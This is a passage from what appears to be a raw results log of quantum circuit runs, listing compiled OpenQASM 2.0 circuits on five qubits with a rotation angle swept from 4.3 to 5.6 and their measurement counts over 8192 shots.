q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1273', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1000, '0x1': 1648, '0x0': 3035, '0x2': 2509}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1275', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 952, '0x1': 1673, '0x0': 3016, '0x2': 2551}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1277', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 928, '0x1': 1607, '0x0': 3106, '0x2': 2551}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1279', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 891, '0x1': 1592, '0x0': 3122, '0x2': 2587}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1281', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 883, '0x1': 1568, '0x0': 3112, '0x2': 2629}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1283', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 895, '0x1': 1579, '0x0': 3031, '0x2': 2687}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1285', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 833, '0x1': 1535, '0x0': 3156, '0x2': 2668}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1287', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 814, '0x1': 1517, '0x0': 3200, '0x2': 2661}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1289', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 873, '0x1': 1474, '0x0': 3277, '0x2': 2568}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1291', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 803, '0x1': 1516, '0x0': 3225, '0x2': 2648}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1293', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 896, '0x1': 1456, '0x0': 3164, '0x2': 2676}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1295', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 869, '0x1': 1408, '0x0': 3303, '0x2': 2612}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1297', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 799, '0x1': 1406, '0x0': 3323, '0x2': 2664}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 